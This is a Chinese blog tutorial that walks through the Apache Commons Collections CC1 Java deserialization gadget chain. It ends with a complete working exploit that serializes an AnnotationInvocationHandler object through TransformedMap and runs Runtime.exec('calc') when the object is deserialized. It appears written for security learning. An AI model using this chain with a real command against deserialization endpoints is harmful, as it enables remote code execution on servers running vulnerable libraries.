[Java安全入门]三.CC1链

1.前言

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。Commons Collections触发反序列化漏洞构造的链叫做cc链,构造方式多种,这里先学习cc1链。

2.环境

jdk-8u65
Commons Collections3.2.1

3.分析

3.1基础链子

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Cc1 {
    public static void main(String[] args) {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {null,new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc"})});
        chain.transform(123);
    }
}

3.2分析几个重要的接口和类

Transformer接口

java 复制代码
public interface Transformer {
    Object transform(Object var1);
}

这个接口其实就是一个转换器,完成不同的数据类型转换

ConstantTransformer类

java 复制代码
public class ConstantTransformer implements Transformer, Serializable {
    private static final long serialVersionUID = 6374440726369055124L;
    public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
    private final Object iConstant;

    public static Transformer getInstance(Object constantToReturn) {
        return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));
    }

    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return this.iConstant;
    }

    public Object getConstant() {
        return this.iConstant;
    }
}

该类实现Transformer接口,其构造器将传入的参数传递给iConstant变量,类里面的transform方法将iConstant的值返回。如果传入参数是一个恶意对象,当调用transform的时候就可能会产生不好结果。

InvokerTransformer类

该类也实现了Transformer接口

看其构造器

java 复制代码
 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

第一个参数为方法,第二个参数为传入的参数数组,第三个参数为对象数组

该类的transform方法可以执行任意方法

java 复制代码
 public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

其中return method.invoke(input,iArgs)是实现反序列化漏洞的关键,通过放射获取input的类,然后调用该类的iMethodName方法。

ChainedTransformer类

java 复制代码
ChainedTransformer implements Transformer, Serializable {

    /** Serial version UID */
    private static final long serialVersionUID = 3514945074733160196L;

    /** The transformers to call in turn */
    private final Transformer[] iTransformers;

    /**
     * Factory method that performs validation and copies the parameter array.
     * 
     * @param transformers  the transformers to chain, copied, no nulls
     * @return the <code>chained</code> transformer
     * @throws IllegalArgumentException if the transformers array is null
     * @throws IllegalArgumentException if any transformer in the array is null
     */
    public static Transformer getInstance(Transformer[] transformers) {
        FunctorUtils.validate(transformers);
        if (transformers.length == 0) {
            return NOPTransformer.INSTANCE;
        }
        transformers = FunctorUtils.copy(transformers);
        return new ChainedTransformer(transformers);

该类也实现了Transformer接口

看其构造器

java 复制代码
 public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

iTransformers为其传入的参数,是一个接口类型的数组

看其transform方法

java 复制代码
  public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

该方法会遍历所有接口类型数组,然后调用其transform方法,并且结构作为下一次循环的参数

3.3过程分析

java 复制代码
hainedTransformer chain = new ChainedTransformer(new Transformer[] ...)

最外层是实例化一个ChainedTransformer类,参数是一个Transformer接口类数组。

java 复制代码
new ConstantTransformer(Runtime.class)

第一个类是ConstantTransformer,构造时传入了一个Runtime类,所以ConstantTransformer.iConstant=Runtime.class

java 复制代码
new InvokerTransformer("getMethod", 
                        new Class[]
                        {String.class, Class[].class},
                        new Object[]
                                {"getRuntime", new Class[0]}
                      )

第二个类是InvokerTransformer类,构造时,方法名为传入的是getMethod,参数类型传入的是String类型和Class[]类型,参数为getRuntime和一个空的Class类型数组

java 复制代码
new InvokerTransformer("invoke",
                            new Class[]
                        {Object.class, Object[].class},
                        new Object[]
                                {null,new Object[0]}
                      )

第三个类还是InvokerTransformer类,传入的方法名是invoke,参数类型是Object类型和Object数组类型,第一个参数是null,第二个参数是空的Object数组

java 复制代码
 new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"calc"})}

第三个类还是InvokerTransformer类,传入的方法名是exec,参数类型是String类型,参数值是calc

java 复制代码
chain.transform(123);

传入这些有transformer接口的类之后,执行ChainedTransformer里面的transform方法实现命令执行

仔细分析chain.transform方法

java 复制代码
 public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

遍历传入所有类的transform方法

Ⅰ.执行ConstantTransformer.transform,返回Runtime.class Object=Runtime.class.

java 复制代码
public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

Ⅱ.执行InvokerTransformer.transform,input为Runtime.class,先反射获取这个类,Class cls=input.getClass(),然后cls就变成了Class类,无法直接通过getMethod获取getRuntime方法,所以通过嵌套,让method写成getMethod方法,然后invoke的时候再对Runtime.class调用getRuntime方法,这样object就变成了Runtime.getRuntime

java 复制代码
Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

Ⅲ.input为Runtime.getRuntime,同样通过嵌套,先使method为invoke方法,然后再对 Runtime.getRuntime使用invoke(method)调用exec方法,参数为calc,然后弹出计算器

java 复制代码
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

4.找利用链

4.1 TransformedMap

已知InvokerTransformer类可以调用transform方法执行命令,那接下来的思路就是寻找还有其他什么地方调用了InvokerTransformer类的transform方法,并且最终通过readObject重写进行反序列化

主要是其中三个Map类

先看TransformedMap

java 复制代码
   protected Object transformKey(Object object) {
        if (keyTransformer == null) {
            return object;
        }
        return keyTransformer.transform(object);
    }
   protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

两个方法都调用了transform方法,这里利用checkSetValue()

java 复制代码
 protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

构造器接受三个参数,第一个是Map类型,然后两个Transformer类型,Map可以利用在上一篇URLDNS里面利用的HashMap,其重写了readObject方法。

keyTransformer和valueTransformer都是protected类型,不能在外部调用,所以要找TransformedMap什么方法调用了构造函数

java 复制代码
 public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

巧的是decorate调用了构造函数

然后找哪里调用了TransformedMap类的checkSetValue方法

发现在AbstractInputCheckedMapDecorator类的继承类Mapentry调用了checkSetValue

java 复制代码
  static class MapEntry extends AbstractMapEntryDecorator {

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }

更好的是AbstractInputCheckedMapDecorator是TransformedMap类的父类

java 复制代码
public class TransformedMap
        extends AbstractInputCheckedMapDecorator

AbstractMapEntryDecorator又引入了Map.Entry接口,只要进行常用的Map遍历,就可以调用setValue(),然后就能调用checkSetValue

4.2简单例子

java 复制代码
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;


public class Cc1 {
    public static void main(String[] args) throws  IllegalAccessException, NoSuchMethodException{
        InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        //先构造一个invoker
        HashMap hashMap=new HashMap();
        //用HashMap传入decorate
        hashMap.put(1,1);
        Map<Object,Object> transformedMap=TransformedMap.decorate(hashMap,null,invokerTransformer);
        //构造好TransformedMap,现在需要触发checkSetValue并把指令传进去

        Runtime cmd=Runtime.getRuntime();

        for(Map.Entry entry:transformedMap.entrySet())
        {
            entry.setValue(cmd);
        }
        //通过遍历Map,调用setValue触发checkSetValue


    }
}

然后再找哪里调用了setValue方法

发现 AnnotationInvocationHandler 类的readObject方法调用了setValue,非常nice

java 复制代码
private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }
}
java 复制代码
String name = memberValue.getKey();

AnnotationInvocationHandler 类并不是public类型,无法在外面通过名字调用,要用反射调用这个类

看构造函数

java 复制代码
 AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

接受两个参数,一个class对象,class对象继承了Annotation,需要传入一个注解类,另一个参数 Map对象,而且readObject里面有对map的遍历,所以可以传入我们的Transformed类

如何反射获取AnnotationInvocationHandler 类,看下面代码

java 复制代码
  Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object annotationConstructor=constructor.newInstance(Target.class,transformedMap);

4.3三个问题

1.Runtime类不可以序列化

2.执行setValue需要满足两个条件

3.setValue的值如何控制

问题1.Runtime类不可以序列化,但是Class可以序列化,需要用反射,用我们之前最基础的链子即可

java 复制代码
 Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
 
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //chainedTransformer.transform(Runtime.class);

问题2.两个if条件

java 复制代码
 if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) 

memberType 不为空,注解类传入target就不会空

问题3.利用ConstantTransformer传值解决

5.最终exp

java 复制代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;


public class Cc1 {
    public static void main(String[] args) throws  Exception {
        Transformer[] Transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        //调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
        ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);
        //chainedTransformer.transform(Runtime.class);


        Map<Object, Object> hashMap = new HashMap<>();
        //用HashMap传入decorate
        hashMap.put("value", 1);
        Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
        //构造好TransformedMap,现在需要触发checkSetValue并把指令传进去

        Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        Object obj = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));
        out.writeObject(obj);
        //序列化


        ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));
        in.readObject();
        //反序列化


        // Runtime cmd=Runtime.getRuntime();

        //for(Map.Entry entry:transformedMap.entrySet())
        //{
        //   entry.setValue(cmd);
        //}
        //通过遍历Map,调用setValue触发checkSetValue

    }
    }
相关推荐
AltmanChan12 分钟前
大语言模型安全威胁
人工智能·安全·语言模型
七星静香20 分钟前
laravel chunkById 分块查询 使用时的问题
java·前端·laravel
Jacob程序员20 分钟前
java导出word文件(手绘)
java·开发语言·word
ZHOUPUYU21 分钟前
IntelliJ IDEA超详细下载安装教程(附安装包)
java·ide·intellij-idea
马船长22 分钟前
红帆OA iorepsavexml.aspx文件上传漏洞
安全
stewie624 分钟前
在IDEA中使用Git
java·git
Elaine20239139 分钟前
06 网络编程基础
java·网络
G丶AEOM41 分钟前
分布式——BASE理论
java·分布式·八股
落落鱼201342 分钟前
tp接口 入口文件 500 错误原因
java·开发语言
想要打 Acm 的小周同学呀43 分钟前
LRU缓存算法
java·算法·缓存